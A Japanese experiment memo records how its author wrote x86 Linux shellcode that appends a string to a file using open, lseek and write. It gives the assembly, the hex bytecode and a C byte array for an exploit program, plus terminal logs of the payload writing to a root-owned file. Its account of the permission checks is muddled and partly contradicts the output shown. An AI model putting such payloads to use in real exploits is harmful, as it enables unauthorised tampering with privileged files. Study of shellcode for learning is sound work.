追加書き込みペイロードの実験メモ。
任意文字列を任意のファイルに追加書き込みする実験を行った。昨日、追加書き込みの方法を考えたが、追加書き込みを実現するには複雑すぎることがわかった。ファイルへの追加書き込みは頻出操作であるため、複雑な手順を踏まなければ実現できないようでは効率が悪い。それゆえに、より簡単な手法が存在すると考え、Manページを参照した。
結果として、ファイルポインタのオフセットを設定するlseekシステムコールを発見した。lseekシステムコールは指定されたファイルディスクリプタのファイルポインタをオフセットサイズ分だけずらす。
Manページにはlseekシステムコールについて次のように記述されていた。
off_t lseek(int fildes, off_t offset, int whence)
lseekシステムコールの第一引数にはファイルディスクリプタを指定する。第二引数にはオフセットのサイズを指定する。第三引数にはオフセットの計算方法を指定する。
オフセットの計算方法には複数の方法が存在する。
以上より、オフセットとして0バイトを指定し、計算方法にSEEK_ENDを指定すればよいことがわかる。つまり、ecxに0を格納し、edxに2を格納する。lseekシステムコールのシステムコール番号は19である。
.globl main
main:
jmp ONE
TWO:
#open
popl %ebx
xorl %eax, %eax
movb %al, 4(%ebx)
movb $0x5, %al
xorl %ecx, %ecx
inc %ecx
int $0x80
add $0x5, %ebx
movl %ebx, %esi
movl %eax, %ebx
#lseek off_t lseek(int fildes, off_t offset, int whence) 19
xorl %ecx, %ecx
xorl %edx, %edx
inc %edx
inc %edx
xorl %eax, %eax
movb $19, %al
int $0x80
#write
xorl %eax, %eax
movb $0x4, %al
movl %esi, %ecx
movb $0x0a, 5(%ecx)
xorl %edx, %edx
movb %dl, 6(%ecx)
movb $0x06, %dl
int $0x80
#close
movb $0x6, %al
int $0x80
#exit
xorl %eax, %eax
movb $0x1, %al
xorl %ebx, %ebx
int $0x80
ONE:
call TWO
.string "testXHello"#0a
x234xxxxxxxxxxxxxxxxxxxxxtest. It is test. Yahoooooooo!!!!!!
このプログラムの重要な点はlseekシステムコールを用いてファイルポインタの位置を変更している点と、「movb $0x0a, 5(%ecx)」の部分である。ファイルの終わりはそれを表す記号を付加する必要がある。ASCIIコードではこの記号は「0x0A」で表されるため、追加する文字列の終わりの場所に0x0aを転送していく。その後ろにいつも通りNULLを設定し、文字列の終わりであることを示す。
このソースコードをバイトコードに変換する。
eb 3f 5b 31 c0 88 43 04 b0 05 31 c9 41 cd 80 83 c3 05 89 de 89 c3 31 c9 31 d2 42 42 31 c0 b0 13 cd 80 31 c0 b0 04 89 f1 c6 41 05 0a 31 d2 88 51 06 b2 06 cd 80 b0 06 cd 80 31 c0 b0 01 31 db cd 80 e8 bc ff ff ff 74 65 73 74 58 48 65 6c 6c 6f
得られたバイトコードを次のようにC言語のテストプログラム([SC] exploit.c)に埋め込む。
unsigned char payload[]=
"\xeb\x3f\x5b\x31\xc0\x88\x43\x04\xb0\x05"
"\x31\xc9\x41\xcd\x80\x83\xc3\x05\x89\xde"
"\x89\xc3\x31\xc9\x31\xd2\x42\x42\x31\xc0"
"\xb0\x13\xcd\x80\x31\xc0\xb0\x04\x89\xf1"
"\xc6\x41\x05\x0a\x31\xd2\x88\x51\x06\xb2"
"\x06\xcd\x80\xb0\x06\xcd\x80\x31\xc0\xb0"
"\x01\x31\xdb\xcd\x80\xe8\xbc\xff\xff\xff"
"\x74\x65\x73\x74\x58\x48\x65\x6c\x6c\x6f"
;
次に、test.cをコンパイルし実行する。
defolos@glazheim:~/Desktop$ gcc test.c defolos@glazheim:~/Desktop$ ./a.out
これでwriteペイロードによってtestファイルが追加書き込みされたはずである。確認をする。
defolos@glazheim:~/Desktop$ cat test xxxxxxxxxxxxxxxxxxxxxtest. It is test. Yahoooooooo!!!!!! Hello
追加書き込みが成功していることが確認できた。testファイルの所有者をrootに変更し、C言語のExploit([SC] exploit.c)にペイロードを埋め込みexploitを実行する。
glazheim:/home/defolos/Desktop# chown root test glazheim:/home/defolos/Desktop# ls -l test -rw-r--r-- 1 root defolos 57 2006-11-25 19:30 test
testファイルの所有者がrootであることを確認する。このときtestファイルは元に戻してある。exploit.cをコンパイルし、実行する。
defolos@glazheim:~/Desktop$ gcc exploit.c defolos@glazheim:~/Desktop$ ./a.out sp = 0xbffff918 ret = 0xbffff918 -------exploit---------------
これでtestファイルの中身が追加書き込みによって変更された。確認するために"cat"コマンドを用いる。
defolos@glazheim:~/Desktop$ cat test xxxxxxxxxxxxxxxxxxxxxtest. It is test. Yahoooooooo!!!!!! Hello
これでペイロードによってtestファイルが追加書き込みされていることが確認できた。しかし、このままでは追加書き込みの実験が終了したとはいえない。一般権限でもroot権限でも無関係に書き込みができる可能性があるため、この後に一般権限での実行でファイルに文字列が追加書き込みできないことが確認される必要がある。test.cで所有者がrootになったtestファイルへの書き込みを試みる。
testファイルの所有者をdefolosに変更する。
defolos@glazheim:~/Desktop$ gcc test.c defolos@glazheim:~/Desktop$ ./a.out defolos@glazheim:~/Desktop$ cat test xxxxxxxxxxxxxxxxxxxxxtest. It is test. Yahoooooooo!!!!!! Hello
追加書き込みが失敗しているのが確認できる。ゆえに、root権限での追加書き込みは成功していると結論付けることができる。念のため、root権限でのExploitによって追加書き込みができるか確認する。
defolos@glazheim:~/Desktop$ gcc exploit.c defolos@glazheim:~/Desktop$ ./a.out sp = 0xbffff918 ret = 0xbffff918 -------exploit--------------- defolos@glazheim:~/Desktop$ cat test xxxxxxxxxxxxxxxxxxxxxtest. It is test. Yahoooooooo!!!!!! Hello Hello
ペイロードが成功することを確認できた。追加書き込みの方法を習得できたといえる。